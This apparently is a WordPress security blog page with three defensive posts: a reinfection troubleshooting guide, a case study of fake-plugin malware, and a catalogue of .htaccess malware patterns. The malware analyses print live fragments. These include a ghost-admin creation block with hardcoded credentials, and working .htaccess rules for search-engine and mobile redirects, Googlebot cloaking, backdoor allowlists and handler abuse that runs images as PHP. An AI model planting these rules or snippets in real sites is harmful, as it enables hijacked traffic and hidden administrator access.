Category: Website Security

You cleaned the malware. Maybe twice. Maybe five times. The site looks fine for a few hours, then the same redirects, spam pages, or infected files come right back.

You’re not going crazy. You’re not dealing with a brand new attack each time. You’re dealing with persistence — a hidden mechanism the attacker left behind specifically to survive your cleanup attempts.

I’ve cleaned over 4,500 hacked WordPress sites, and reinfection is the single most common reason clients hire me after a failed DIY cleanup. The pattern is always the same: someone removes the visible malware (the easy part), but misses the persistence layer (the part that actually matters). This guide walks you through every reinfection mechanism I’ve encountered, in priority order.

How to Tell You’re Dealing With Reinfection (Not a New Attack)

The pattern is recognizable once you know what to look for. You’re dealing with reinfection — not a fresh new hack — if any of these apply:

• The same malicious file returns after you delete it (sometimes within minutes, sometimes within hours)
• Spam pages reappear in Google search results after you removed them
• The same redirect destination keeps coming back, even with different file names
• Your security scanner reports clean, but Google or visitors still see infected behavior
• Your host suspends the account again shortly after you reactivate it
• New admin users keep appearing even after you delete them
• File timestamps keep changing on files you haven’t touched
• The infection follows you across hosting moves (rare, but possible if you moved infected files)

If you’re not sure whether the site is actually compromised again or just showing cached results, run through my WordPress malware detection guide first to confirm.

The 8 Reasons WordPress Malware Keeps Coming Back

I’ve ranked these by how often they’re the actual culprit in real cleanups. If you’ve already eliminated #1, move to #2, and so on.

1. A Hidden Cron Job Is Regenerating the Malware

This is the #1 reinfection cause I find — easily 60–70% of repeat infections. The attacker installed a scheduled task that automatically re-downloads or re-creates the malware on a timer. Delete the file, and the cron job restores it within minutes.

How to spot cron-based reinfection:

• Malware returns at predictable intervals (every minute, every hour, every day at the same time)
• Files reappear with the same content even after thorough cleanup
• Your hosting provider’s logs show repeated outbound connections to suspicious domains

Where to look:

1. cPanel users: Cron Jobs section — look for any job containing eval, base64_decode, or gzinflate
2. VPS/SSH users: Run crontab -l for your user, then sudo crontab -u www-data -l for the web server user
3. WordPress users: Install WP Crontrol plugin and inspect WP-Cron events for unfamiliar hooks

Cron-based reinfection is so common and technically interesting that I’ve written a complete deep-dive on it. If your symptoms match this pattern, see my hidden cron job hack explained for the full removal process and a real malicious cron command analysis.

Real example from my client work: how I stopped cron-job malware that was generating 12,000 casino spam posts.

2. An Active Backdoor File the Cleanup Missed

Sophisticated attackers leave multiple backdoors specifically so you’ll find one and miss the others. I commonly find 5–15 backdoor files on heavily compromised sites — and the cleanup only caught 2 of them.

Where backdoors hide that DIY cleanups miss:

• /wp-content/mu-plugins/ — Must-Use plugins folder. Files here auto-load on every page load. Most site owners don’t even know this folder exists. Note: some legitimate hosts use this folder, so verify before deleting
• /wp-content/uploads/ — PHP files disguised as images (.jpg.php, .png.php) or just plain .php files. No legitimate WordPress site has PHP files in uploads. See how malware hides in JPG files
• Theme files — Especially functions.php of your active theme. See the ghost admin hack in functions.php
• Renamed legitimate files — A file called wp-confg.php (note typo) or wp-includes/class-wp.php (looks legitimate, isn’t)
• Modified wp-config.php — Code added at the top before WordPress loads, or at the bottom after it loads
• Modified .htaccess at various directory levels — see my htaccess malware removal guide

How to find missed backdoors:

If you have SSH access, this single command catches 90% of PHP backdoors:

# Find PHP files in uploads (these should NOT exist)
find ./wp-content/uploads/ -name "*.php"

# Find files with malware signatures
grep -rnw './wp-content/' -e 'eval(' --include="*.php"
grep -rnw './wp-content/' -e 'base64_decode(' --include="*.php"

# Find recently modified files (last 7 days)
find ./wp-content/ -name "*.php" -mtime -7

For the comprehensive backdoor hunting process, see how hackers hide backdoors in WordPress.

3. A Hidden Admin User Is Still Logging In

Sometimes the “malware” isn’t a file at all — it’s a user account. The attacker created an administrator for themselves, hid it from your dashboard view, and logs in nightly to reinfect the site. Every cleanup is undone by the next login.

Critical insight: Sophisticated malware can hide users from the WordPress Users screen while keeping them fully active in the database. You can’t trust the dashboard alone.

How to find hidden admins:

1. Open phpMyAdmin via your hosting control panel
2. Select your WordPress database
3. Open the wp_users table (your prefix may differ — could be wpxx_users)
4. Look for users that:
   • You don’t recognize
   • Have suspicious email domains (random Gmail addresses, ProtonMail, mail.ru)
   • Were registered on dates you weren’t actively managing the site
   • Have usernames like wp-support, admin123, adminbackup, random numerics
5. Cross-check with wp_usermeta table — admins have wp_capabilities set to a:1:{s:13:"administrator";b:1;}

For the complete database-level user hunt, see how to find and remove hidden admin users in WordPress. Also useful: the admnlxgxn user pattern.

4. You Only Changed Your WordPress Password (Not Everything Else)

This is the cleanup mistake I see most often. Site owners change their WordPress admin password and assume they’ve locked the attacker out. They haven’t.

Most attackers maintain access through multiple credential paths. They might have your FTP credentials, your hosting/cPanel password, your database password, your email account (which can reset everything else), or your Cloudflare account. Changing only WordPress is like locking the front door while leaving five windows open.

What you must rotate after a hack:

• WordPress admin passwords (every admin user, not just yours)
• Hosting/cPanel/Plesk control panel password
• FTP and SFTP credentials
• SSH credentials and SSH keys
• Database password (update wp-config.php after changing)
• Email accounts that can reset other passwords
• Cloudflare or DNS provider account
• CDN account if separate from your host
• Any third-party service connected via API keys (Stripe, Mailchimp, etc.)

Critical step: Reset WordPress salts. Even with new passwords, existing logged-in sessions remain valid. Generate new salts at api.wordpress.org/secret-key/1.1/salt and replace the matching lines in wp-config.php. This instantly invalidates every active session, including hacker sessions.

Real example of credential-based reinfection: e-commerce DNS hijack via compromised Cloudflare account.

5. Modified Core Files You Didn’t Replace

Your cleanup might have removed obvious malware files but left modifications to legitimate WordPress core files. Files like wp-load.php, wp-blog-header.php, or files inside wp-includes/ can have malicious code injected into them — code that executes on every page load.

The fix: Don’t try to clean modified core files line-by-line. Replace them entirely:

1. Download fresh WordPress from wordpress.org
2. Delete your existing /wp-admin/ and /wp-includes/ folders
3. Upload the fresh versions
4. Replace root PHP files (index.php, wp-load.php, wp-blog-header.php, etc.)
5. Don’t delete /wp-content/ or wp-config.php

This eliminates roughly 80% of file-based persistence in one pass. Real example: how I stopped regenerating malware that kept rewriting wp-blog-header.php.

6. The Real Payload Is in the Database, Not Files

Some of the most frustrating reinfection cases I see involve sites that scan completely clean at the file level — but visitors still get redirected, Google still shows spam pages, or hidden links still appear in search results.

The reason: the malware lives in your database, not your files.

Where database malware hides:

• wp_options table — Especially the active_plugins, siteurl, home, and any autoloaded options. Search for base64_decode, <script, or unfamiliar URLs
• wp_posts table — Hidden spam content, injected scripts, hidden CSS spam (display:none, position:absolute, left:-9999px)
• wp_postmeta table — Custom field injections
• wp_usermeta table — Privilege escalation, custom capabilities
• Custom plugin tables — Some plugins create their own tables, which malware can exploit

For comprehensive database cleanup, see how to scan and clean WordPress database for hidden malware. For a real case where database malware caused failed Google review requests, see failed Google blacklist request hidden database malware.

7. Another Site on the Same Hosting Account Is Infected

This one gets missed constantly. If you have multiple WordPress sites under one cPanel account, an old staging copy, an abandoned subdomain, or a forgotten dev install — the malware can reinfect your main site from any of them.

Shared hosting plans often allow file-level access between sites in the same account. Malware on oldsite.com sitting in the same hosting account can write files to yoursite.com. You clean the main site, but the infected sibling site reinfects it within hours.

What to audit on the same hosting account:

• Every domain hosted under the account
• Every subdomain (especially old ones you forgot about)
• Staging sites (staging.yoursite.com, dev.yoursite.com)
• Old WordPress installs in subdirectories (/old/, /backup/, /v1/)
• Backups stored in web-accessible folders (download them off-site, then delete)
• Test installs that nobody remembers anymore

If reinfection makes no sense based on the main site alone, this is usually why.

8. The Original Vulnerability Is Still Present

Cleanup removes the malware. It doesn’t always patch the hole the attacker came through. If your initial entry was a vulnerable plugin and you cleaned the malware without updating that plugin, attackers exploit the same vulnerability and reinfect within hours of cleanup.

Common entry points that often go unpatched:

• Outdated plugins with known CVEs (most common)
• Outdated themes (especially nulled premium themes — see why nulled themes are a security nightmare)
• Outdated WordPress core (rare but happens)
• Vulnerable contact form configurations
• Misconfigured file permissions
• XML-RPC enabled with weak passwords

Critical step: Update everything immediately after cleanup. WordPress core, every plugin (active or inactive), every theme. Remove unused plugins and themes entirely. If you can’t update a plugin because it’s been abandoned, find a replacement.

The Permanent Reinfection Fix Workflow

If you’ve cleaned this site multiple times and it keeps coming back, surface-level scanning isn’t enough. Here’s the comprehensive workflow I run on every paid reinfection cleanup:

Step 1: Take a Forensic Backup of the Infected State

Before changing anything, back up the current state to your local computer (not the server). This gives you evidence, lets you compare files later, and protects against accidentally deleting something legitimate during cleanup.

Step 2: Lock the Site Down

Put the site in maintenance mode using SeedProd or a similar plugin. If actively redirecting visitors, restrict /wp-admin/ access to your IP only via .htaccess:

<Files wp-login.php>
    Order Deny,Allow
    Deny from all
    Allow from YOUR.IP.ADDRESS.HERE
</Files>

Step 3: Rotate ALL Credentials (Not Just WordPress)

Cycle through the complete list from #4 above: hosting, FTP, SSH, database, email, Cloudflare, third-party APIs. Then reset WordPress salts to invalidate all sessions.

Step 4: Audit Cron Jobs First

Before doing anything else, check cron — both server-level cron and WP-Cron. If a malicious cron job exists, every cleanup step that follows is wasted effort until cron is clean. See the dedicated cron job malware guide.

Step 5: Replace Core Files

Delete /wp-admin/ and /wp-includes/, replace with fresh WordPress.org copies, replace root PHP files. Keep /wp-content/ and wp-config.php untouched.

Step 6: Audit Every Plugin and Theme

• Compare your /wp-content/plugins/ folder count against the dashboard count — extra folders are ghost plugins
• Delete any plugin you don’t actively use
• Replace remaining plugins with fresh copies from official sources
• Same process for themes — only one active theme should remain
• Stop using nulled plugins/themes immediately

Step 7: Database Surgery

Open phpMyAdmin and:

• Audit wp_users for hidden admin accounts (see #3)
• Search wp_posts for <script, display:none, position:absolute, base64
• Search wp_options for unusual autoloaded values
• Look at wp_usermeta for unauthorized capability changes

Step 8: Hunt Backdoors with Grep

If you have SSH access, run the grep commands from #2 above. If not, manually inspect:

• Active theme’s functions.php, header.php, footer.php
• Files in /wp-content/uploads/ — there should be NO PHP files here
• /wp-content/mu-plugins/ — verify each file is legitimate
• wp-config.php — check the very top and very bottom for added code
• All .htaccess files — check root, /wp-admin/, /wp-content/, /uploads/

Step 9: Audit Every Site on the Hosting Account

Don’t just clean the main site. Run the same audit on every domain, subdomain, staging copy, and forgotten install on the hosting account. One missed sibling site reinfects everything.

Step 10: Harden Against Future Attacks

After cleanup, implement these protections to prevent the next infection:

• Update WordPress core, all plugins, all themes
• Add define('DISALLOW_FILE_EDIT', true); to wp-config.php
• Enable two-factor authentication on all admin accounts (2FA setup guide)
• Hide your login URL (change login URL guide)
• Install a security plugin for ongoing monitoring (Wordfence vs Sucuri comparison)
• Set up off-site automated backups (UpdraftPlus backup guide)

Step 11: Verify and Handle SEO Aftermath

Once clean, verify on multiple devices, browsers, and from logged-out sessions. If Google still shows warnings, request review through Search Console with detailed cleanup notes. If hacked spam URLs are still indexed, see 404 vs 410 for hacked URLs.

Useful follow-up resources:

• What to do after fixing a hacked WordPress site
• Google blacklist removal service
• Dangerous Site warning case study

Why a “Clean” Scan Doesn’t Mean a Clean Site

Here’s an uncomfortable truth: your security scanner reporting clean is not proof your site is clean.

I see this constantly. A site owner runs Wordfence, gets a green checkmark, and assumes everything’s fine. Meanwhile:

• Google still shows the site as flagged
• Visitors on mobile devices still get redirected
• Logged-out users see different content than logged-in users
• Search results still contain Japanese spam URLs
• Customers report seeing scam ads on the site

This happens because modern malware uses cloaking — it shows clean content to security scanners and admin users while serving malicious content to other visitors. Some malware only activates for traffic from Google, only on mobile devices, only in certain countries, or only after certain time delays.

If WordPress malware keeps coming back even though scanners say you’re clean, assume the investigation is incomplete and dig deeper. The cloaking detection guides that help here:

• WordPress cloaking malware case study
• Mobile redirect hack found via access logs

FAQ: WordPress Reinfection

Why does my WordPress malware keep coming back at the same time every day?

That’s almost always a scheduled reinfection — either WP-Cron or a server-level cron job re-downloading or re-creating the malware on a timer. If reinfection happens at predictable intervals, check cron jobs first using cPanel’s Cron Jobs section, crontab -l via SSH, or the WP Crontrol plugin. See my complete cron job malware guide.

Why does Wordfence say my site is clean if WordPress malware keeps coming back?

Security plugins detect known malware signatures, but they miss roughly 40% of modern malware. Common things they don’t catch: ghost plugins that hide from your dashboard, hidden admin users in the database, malicious code in wp_options, cloaked malware that shows clean content to scanners, and custom backdoors with no signature match. A clean scan is a positive signal, not proof.

How do I permanently stop WordPress reinfection?

Permanent fix requires addressing all 8 reinfection causes systematically: kill malicious cron jobs, find missed backdoors, remove hidden admin users, rotate every credential (not just WordPress), replace core files entirely, clean the database, audit sibling sites on the same hosting account, and patch the original vulnerability. Skipping any of these leaves a path back in.

Is it cheaper to clean my site or buy a new domain?

Clean the site. Buying a new domain doesn’t help if your hosting account is compromised — the new domain will get infected too. The malware lives on the server, not in the domain name. The only case where moving makes sense is if your IP address itself is permanently blacklisted across multiple vendors and your host can’t change it.

Can my hosting provider help with reinfection?

Most shared hosts (Bluehost, GoDaddy, HostGator) won’t actively clean malware — they’ll suspend the account and require you to clean it. Some managed WordPress hosts (Kinsta, WP Engine) offer cleanup as a paid add-on, but their cleanup is typically surface-level. For genuine reinfection cases, you usually need WordPress security expertise that goes beyond standard hosting support.

How long does it take to fix a reinfected WordPress site?

Reinfection cleanups take longer than first-time cleanups because you’re working against active persistence mechanisms. Simple cases (single cron job, easy to find): 2–4 hours. Complex cases (multiple persistence mechanisms, sibling site infection, database malware): 6–12 hours. The investigation phase is the longest part — you’re hunting for what your previous cleanup missed.

Should I restore from a backup instead of cleaning?

Only if your backup predates the original infection. Most reinfection victims don’t have a clean pre-infection backup, because they didn’t realize the site was infected for weeks or months. If you do restore, you must still patch the original vulnerability — otherwise reinfection happens again immediately. Test the restored backup on a staging site before going live.

What if my host suspended the account again after cleanup?

That’s a strong signal you missed the persistence mechanism. Hosts re-suspend accounts when their automated scans detect malware activity again. Contact your host for the specific files they detected, then dig into those areas. Often it’s a backdoor file or cron job they specifically flagged.

Get Help Finding the Persistence Mechanism

If you’ve cleaned this site twice and the malware keeps coming back, the next attempt by the same DIY approach won’t work either. The job at this point isn’t “scan again” — it’s finding the one persistence mechanism that survived your last cleanup.

That investigation is the part where most plugins fail and the part I do manually on every reinfection cleanup. I work through cron jobs, hidden users, ghost plugins, database injections, sibling site spread, and credential rotation systematically. Most reinfection cases I take on get fixed within 4–8 hours.

If your reinfection is paired with Google warnings or a blacklist, also see my Google blacklist removal service. For a deeper dive into the most common reinfection cause — malicious cron jobs — see the hidden cron job hack explained.

About the author: Md Pabel is a WordPress security specialist with 7+ years of experience and 4,500+ successful site cleanups. He documents real-world reinfection investigations and persistence mechanisms at mdpabel.com.

We recently worked on a WordPress site that had a serious problem. To the owner, the site looked fine. But to Google and new visitors, it was completely broken.

Visitors were being sent to a fake “Cloudflare Verification” page, and Google was indexing thousands of spam links for illegal gambling sites. This is a very common but advanced type of hack.

In this post, I will explain exactly what we found. I will break down the malicious files (wp-compat.php, OperationGraph.php, and main.php) and show you the steps we took to clean the site. If you have a WordPress site, this guide will help you understand how hackers hide in your system.

1. The Problem: How We Detected the Hack

The client contacted us because their traffic had dropped significantly. They also received complaints that their site was “unsafe.”

When we started our investigation, we found three main symptoms.

Symptom A: The Fake Cloudflare Page

Occasionally, when we tried to visit the site, we were redirected to a page that asked us to “Verify you are human.”

It looked like a standard security check from Cloudflare. However, when we looked at the URL bar, the address was not cloudflare.com. It was a fake page hosted on the client’s own website.

Why hackers do this:
This is a phishing trap. If you click the “Verify” button, the script often tries to install a virus on your computer or tricks you into allowing browser notifications (which they use to send you spam ads later).

Symptom B: Hidden SEO Spam (The Source Code)

When we looked at the website normally, the footer looked clean. But hackers are smart—they know that if they put spam links where you can see them, you will delete them.

We right-clicked the page and selected “View Page Source.”

At the very bottom of the HTML code, we found thousands of links. They linked to:

• “Bahsegel” (Betting/Gambling sites)
• Crypto scams
• Adult content

The hackers used a simple trick to hide these links from humans. They used CSS code to push the links far off the screen:

<div style="position:absolute; left:-11738px;">
<a href="...">Bahsegel 2025</a>
</div>

By setting the position to -11738px, the links are physically located miles to the left of your monitor. You can’t see them, but Google’s bots read the code, not the screen. Google sees these links, thinks your site is promoting illegal gambling, and penalizes your search rankings.

Symptom C: Strange Plugins

We logged into the hosting File Manager. In the /wp-content/plugins/ folder, we saw many folders. Most were real, but three stood out because they had generic, “boring” names that didn’t match any known plugin.

2. Analyzing the Malware: The “Fake Plugin” Trio

We downloaded the suspicious files to analyze them. The hackers installed three specific scripts. Each one had a specific job.

Malware File #1: The Ghost Admin Creator

• File Name: wp-compat.php
• Fake Name: WP Compatibility Patch
• Location: /wp-content/plugins/wp-compat/

This file is very dangerous. Its job is to make sure the hackers always have an administrator account, even if you delete them.

What the code does:
The code claims to be a “Compatibility Patch” to fix issues with WordPress. This is a lie to make you afraid to delete it.

Inside the code, we found this:

$params = array(
    'user_login' => 'adminbackup',
    'user_pass'  => 'QetmUvqCTs',
    'role'       => 'administrator',
    'user_email' => 'adminbackup@wordpress.org'
);

This script runs every time the website loads. It checks if a user named adminbackup exists. If you delete this user, the script immediately recreates it with the password QetmUvqCTs.

How it stays invisible:
The most clever part of this script is that it hides the user from the WordPress Dashboard.

It uses a command called pre_user_query. This command tells WordPress: “When you list the users in the dashboard, do not show the user ID associated with adminbackup.”

So, you could look at your Users list and see 3 legitimate admins. But in reality, there are 4 admins. The 4th one is the hacker, and they are invisible to you.

Malware File #2: The Hidden Backdoor

• File Name: OperationGraph.php
• Fake Name: OperationGraph
• Location: /wp-content/plugins/woocommerce-page-homepage/

This file was located in a folder that sounded real (woocommerce-page-homepage), but it was actually a “backdoor.” A backdoor is a script that lets hackers send commands to your website remotely.

What the code does:
The code in this file was “obfuscated.” This means the hackers wrote it in a way that is impossible for humans to read easily.

It looked like this:

goto r9Ie9y353w0aV7bK; 
$this->seed = md5(DB_PASSWORD . AUTH_SALT);

It uses chaotic jumps (goto commands) and weird codes. This script connects your website to a “Command and Control” server. The hackers can send a signal to this script to tell your website to do anything they want, such as:

• Download more viruses.
• Delete your files.
• Send spam emails.

It also saves its settings in your database (the wp_options table) so that even if you delete the file, the settings remain.

Malware File #3: The Spam Generator

• File Name: main.php
• Fake Name: Advanced Server Response Handler
• Location: /wp-content/plugins/easy-library-web-demo-1/

This script was responsible for the SEO spam links we found in the source code.

What the code does:
This script turns your website into a “Zombie” that works for the hackers. It uses a technique called Cloaking.

Cloaking means showing one version of the site to real humans and a different version to search engines (like Google or Bing).

1. Detection: When someone visits your site, the script checks who they are. It has a list of IP addresses for Google, Bing, and Yandex bots.
2. The Switch:
   • If you are a human: It shows the normal site (or the fake Cloudflare redirect).
   • If you are Googlebot: It connects to a hacker website (pasteyourlinks.online), downloads a list of spam links, and inserts them into your page.

This is why the site owner often doesn’t realize they are hacked. They browse the site and see nothing wrong. But Google browses the site and sees thousands of links to “Casino” and “Betting.”

Clearing the Cache:
We also noticed this script commands your caching plugins to clear themselves.

if (function_exists('rocket_clean_domain')) {
    rocket_clean_domain();
}

It clears WP Rocket, LiteSpeed, and W3 Total Cache. Why? Because if your site is cached, the spam links might not show up immediately. The hackers want the spam to be live instantly.

3. Why This “Japanese Keyword Hack” Matters

In the SEO world, this is often called the “Japanese Keyword Hack” or “Pharma Hack.” Even though the links in this case were for betting (“Bahsegel”), the principle is the same.

Hackers hack legitimate sites (like yours) because your site has “Authority.” Google trusts your site. By putting their links on your site, they trick Google into thinking their illegal gambling sites are trusted too.

The Consequences for You:

• Blacklisting: Google will eventually flag your site as “Deceptive.” Users will see a big red warning screen before they can enter your site.
• SEO Loss: You will lose your rankings. If you sell shoes, but Google thinks you sell gambling links, you won’t appear in search results for shoes anymore.
• Ad Suspension: If you run Google Ads or Facebook Ads, your accounts will be suspended because the destination URL is infected.

4. Step-by-Step Guide: How We Cleaned the Site

Fixing this is not as simple as clicking “Delete.” Because the malware creates users and hides in the database, you have to follow a strict process.

Here is exactly what we did.

Step 1: Maintenance Mode

First, we put the site in maintenance mode. We did this so users wouldn’t get redirected to the fake Cloudflare scam page while we were working.

Step 2: Clean the File System

We accessed the site using FTP (File Transfer Protocol). You can also use the File Manager in cPanel.

We went to /wp-content/plugins/ and deleted the three malicious folders:

1. wp-compat
2. woocommerce-page-homepage
3. easy-library-web-demo-1

Important: We checked the dates. The legitimate plugins were all modified months ago. The malicious folders were modified very recently. This is a good way to spot fake files.

Step 3: Clean the Database (Very Important)

This is the step most people miss. If you don’t do this, the hack will come back.

We opened phpMyAdmin from the hosting dashboard.

A. Delete the Ghost User
We opened the wp_users table. We saw the user adminbackup. We deleted that row entirely.

B. Delete Hidden Options
We opened the wp_options table. This table stores all your WordPress settings.
We searched for _pre_user_id. This is the setting the malware used to hide the admin ID. We deleted it.
We also searched for nitro_data and other weird entries created by the OperationGraph plugin and deleted them.

Step 4: Scan with Wordfence

After manually cleaning the obvious files, we installed the Wordfence Security plugin.

We ran a “High Sensitivity” scan. The scanner found two more files hidden in the /wp-content/uploads/ folder. They were named image.png but were actually PHP scripts. Hackers often hide backdoors in the uploads folder because it is the one folder that is “writable” by the server.

Step 5: Check “Must-Use” Plugins

We checked the /wp-content/mu-plugins/ folder. “MU Plugins” are special plugins that run automatically and cannot be turned off from the dashboard. Hackers love this folder. We found a small loader script there and deleted it.

Step 6: Fix the SEO (Google Search Console)

The site was clean, but Google still had the spam links in its memory.

1. We logged into Google Search Console.
2. We used the Removals Tool to temporarily block the spammy URLs.
3. We submitted the sitemap again.
4. We used the “Inspect URL” tool on the homepage and requested indexing. This tells Google: “The site is clean now, please look again.”

5. Prevention: How to Stop This From Happening Again

The entry point for this hack was an outdated plugin. The client had a “Slider” plugin that they hadn’t updated in 2 years. Hackers used a known security hole in that plugin to upload the first file.

Here is your checklist to stay safe:

• 1. Update Everything, Always: WordPress Core, themes, and plugins must be updated. Old software is the #1 way hackers get in.
• 2. Turn off File Editing: You can add a simple line of code to your wp-config.php file:
  define('DISALLOW_FILE_EDIT', true);
  This stops anyone (including hackers) from editing your plugin files from inside the WordPress dashboard.
• 3. Use a Web Application Firewall (WAF): A firewall blocks bad traffic before it reaches your site. We recommend using Cloudflare (the real one) or the Wordfence Premium firewall.
• 4. Change Your Passwords: After a hack, you must assume every password was stolen. We changed the database password, the FTP password, and all WordPress admin passwords.
• 5. Check User Accounts Regularly: Once a month, go to your “Users” tab. If you see anyone you don’t recognize, delete them immediately.

6. Frequently Asked Questions (FAQs)

Q: Can I just restore a backup?
A: Probably not. These viruses are designed to sit quietly for months (“incubation period”). If you restore a backup from last week, you are likely just restoring the virus. You need to clean the current files to be sure.

Q: Why do I see “Bahsegel” or Japanese characters in my search results?
A: This is the SEO spam injection. The hacker’s script (main.php) specifically showed these words to Google to boost the ranking of their gambling sites. It will take a few weeks for Google to clear them after you fix the site.

Q: What is wp-compat.php?
A: It is a fake plugin file used by hackers. It pretends to be a WordPress compatibility patch, but it actually creates a hidden administrator user so the hacker can always access your site.

Q: Is my site safe to visit now?
A: If you have followed the steps above (removed files, cleaned database, scanned with Wordfence), yes. However, you should clear your browser cache to stop seeing the old redirected pages.

Summary

Hackers are getting smarter. They don’t just break your site anymore; they use it to make money. They use fake plugins like wp-compat and OperationGraph to hide tracks and main.php to serve spam.

By understanding how these files work, you can spot them early. Always look for plugins you didn’t install, users you didn’t create, and strange links in your source code.

If you found this case study helpful, or if you are currently dealing with a hacked site, leave a comment below.

WordPress .htaccess malware is any malicious modification to your site’s .htaccess configuration file (or fake .htaccess files planted in subdirectories) that lets an attacker control how your server responds to requests. Real-world .htaccess malware does one of about ten specific things: blocks PHP execution to lock you out, hides backdoors behind allowlists, redirects search-engine or mobile traffic to spam sites, cloaks SEO injections, hijacks default file handlers, restricts admin access by IP, or in rare cases executes attacker-controlled PHP through cookie data. Cleaning it requires identifying which pattern hit your site, replacing the malicious file with a clean .htaccess, and — critically — finding the dropper script or backdoor that placed it there, because .htaccess malware almost always returns within hours if you skip that step.

If your WordPress site has started redirecting visitors to spam pages, your dashboard is throwing a 403 Forbidden error, your search rankings are suddenly polluted with Japanese or pharmaceutical keywords, or your hosting account has been flagged for malware — there’s a strong chance the .htaccess file is involved.

In more than 4,500 hacked WordPress site cleanups since 2018, I’d estimate .htaccess manipulation appears in roughly 7 out of 10 cases. Sometimes it’s the entire attack. More often, it’s one component in a larger compromise — a multiplier that makes other malware harder to detect and remove.

This guide is the comprehensive map of how .htaccess malware actually works. I’ll walk through every major pattern I see in the wild, show you real code samples for each, and link out to deeper case-study posts where they exist. By the end, you’ll be able to look at any .htaccess file on your server and know whether it’s clean, compromised, or somewhere in between.

What .htaccess Actually Is (And Why Hackers Love It)

.htaccess is a configuration file used by Apache web servers to control how the server handles requests for files in a given directory. WordPress relies on it for permalinks. Your hosting provider may use it for redirects, security headers, or compression rules. It’s a powerful, flexible tool — and that’s exactly why attackers target it.

Here’s what makes .htaccess uniquely valuable to a hacker:

• It runs before WordPress does. Apache reads .htaccess rules before any PHP code executes. So .htaccess-based attacks fire before your security plugin has a chance to react.
• It applies to whole directories at once. A single rule can affect every file in a folder and every subfolder beneath it. That’s why a single infected .htaccess can lock out a whole site.
• It’s text-based and small. Easy to inject through any vulnerability that allows file writes, easy to hide from owners who don’t know what their .htaccess should contain.
• It’s often overlooked. Most site owners have never opened their .htaccess file. They wouldn’t recognize a malicious rule if they saw one.
• It’s not PHP. Most malware scanners are tuned to look for malicious PHP. Suspicious Apache directives often slip through with no flags raised.

A hacker who can write to your .htaccess can effectively reconfigure your web server. That’s a lot of power from a 200-byte text file.

The 10 Types of WordPress .htaccess Malware I See Most Often

Across thousands of cleanups, the malicious .htaccess patterns I encounter cluster into about ten distinct types. Each one has a different purpose, a different visual signature, and (sometimes) a different fix.

Type 1: PHP Execution Lockout (The Admin Block)

The attacker drops an .htaccess file inside /wp-admin/ or your site root that blocks PHP files from running:

<FilesMatch "\.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>

Because your WordPress login page (wp-login.php) and admin scripts are PHP files, this rule produces a 403 Forbidden error when you try to log in. The casing variations (PhP, pHp, etc.) are deliberate — attackers cover every possible filesystem behavior to make sure the rule fires.

A clean WordPress install does not have an .htaccess file inside /wp-admin/. If yours does, treat it as malicious until proven otherwise.

Deeper coverage: I broke down every variant of the lockout pattern, including IP-based, user-agent, and basic-auth versions, in why a 403 Forbidden error on wp-admin could be a malicious htaccess hack.

Type 2: Backdoor Allowlist (The Selective Block)

A more aggressive evolution of Type 1. Instead of just blocking PHP, the attacker pairs the denial with an allowlist of their own backdoor filenames:

<FilesMatch "\.(py|exe|phtml|php|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(class-t\.api\.php|index\.php|doc\.php|hh\.php|wp-blog\.php|wp-l0gin\.php|lock360\.php)$">
Order allow,deny
Allow from all
</FilesMatch>

The allowlist contains a mix of legitimate-looking names (index.php) and obvious backdoors disguised with character substitutions or random short names (hh.php, doc.php, wp-l0gin.php with a zero, lock360.php).

This pattern is especially common on shared hosting where the same .htaccess ends up duplicated across hundreds of folders. I documented one real example with 1,162 infected files across a single account in this Bluehost case study.

Type 3: Search-Engine Conditional Redirect

Probably the most damaging type from a business perspective. The rule redirects visitors only when they arrive from a search engine, leaving direct visitors and the site owner seeing a normal site:

RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo|duckduckgo) [NC]
RewriteRule .* https://spam-target.example/landing [R=302,L]

This is why so many owners are blindsided when they discover the infection. They visit their own site directly — it works fine. They check it from another browser — fine. But every visitor coming from Google search results is being silently redirected to a scam, casino, or pharmacy site. The first sign is usually a Google Safe Browsing flag, a drop in conversions, or a confused customer email.

Deeper coverage: see how hackers hide redirects in htaccess and why your WordPress site is redirecting to spam.

Type 4: Mobile-Only Traffic Hijacking

The same redirect technique, but conditional on the user’s device:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
RewriteRule .* https://malicious-mobile.example/ [R=302,L]

Mobile visitors get redirected; desktop visitors don’t. This is brutally effective because the site owner — usually viewing the site on a desktop — never sees the issue. Customers report it. Owners assume the customer is wrong.

Deeper coverage: the case study in finding a mobile redirect hack using access logs walks through exactly this scenario.

Type 5: SEO Spam Cloaking (Japanese / Pharma Hack)

A specific type of .htaccess rule used in Japanese keyword hacks and pharmaceutical SEO spam injections. The rule serves different content to Googlebot than to human visitors:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Bingbot) [NC]
RewriteRule ^(.*)$ /spam-injection-handler.php?url=$1 [L]

When Google crawls the site, it sees thousands of spam pages full of pharmaceutical or Japanese-language keywords. When a human visits any of those URLs, they see the normal site (or a redirect). The result is your domain ranking for spam terms in Google while looking clean to you.

Deeper coverage: the complete guide to the Japanese keyword hack and how to stop pharmaceutical spam in Google.

Type 6: IP Allowlist Backdoor

Subtle and often misread as legitimate hardening:

Order Deny,Allow
Deny from all
Allow from 203.0.113.45

Anyone hitting wp-admin gets 403, except the attacker’s IP. To a casual visual scan, this looks like a security rule a previous developer might have added. If you see an IP allowlist in your /wp-admin/ .htaccess and you don’t recognize the IP, treat it as a backdoor — not a hardening measure.

Type 7: Cookie-Based PHP Execution

The rare and dangerous case where an attacker actually makes your .htaccess execute PHP. By default, .htaccess can’t run PHP — but if a server is misconfigured to treat .htaccess as a PHP file (via AddHandler or AddType abuse), an attacker can plant code like this:

AddType application/x-httpd-php .htaccess
<?php $c = $_COOKIE; ... include($k); ?>

The PHP payload reads attacker-supplied cookies, reconstructs function names from them dynamically, and writes/executes a backdoor on the fly. It’s a sophisticated pattern that bypasses most signature scanners because no recognizable malicious function names appear in the file.

Deeper coverage: cookie-based PHP backdoor in htaccess explained and the broader analysis in obfuscated PHP malware detection.

Type 8: AddHandler / AddType Abuse

A more general version of Type 7 — abusing handler directives so that files with innocent-looking extensions execute as PHP:

AddType application/x-httpd-php .jpg
AddHandler x-httpd-php .gif

